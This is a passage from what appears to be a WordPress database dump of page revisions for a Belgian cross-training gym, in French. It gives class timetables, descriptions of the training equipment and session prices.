(339, 1, '2013-07-25 16:36:46', '2013-07-25 16:36:46', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-25 16:36:46', '2013-07-25 16:36:46', '', 11, 'http://www.crosstrainingcenter.be/11-revision-114/', 0, 'revision', '', 0),
(358, 1, '2013-11-01 08:57:20', '2013-11-01 08:57:20', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. hola ti quiero&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-11-01 08:57:20', '2013-11-01 08:57:20', '', 22, 'http://www2.crosstrainingcenter.be/22-revision-v1/', 0, 'revision', '', 0);
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(344, 1, '2013-08-23 08:46:17', '2013-08-23 08:46:17', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-08-23 08:46:17', '2013-08-23 08:46:17', '', 11, 'http://www.crosstrainingcenter.be/11-revision-115/', 0, 'revision', '', 0),
(346, 1, '2013-10-05 08:39:04', '2013-10-05 08:39:04', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;17h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h30&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;18h15&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;11h30&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;12h&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h30&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h15&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;19h45&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td 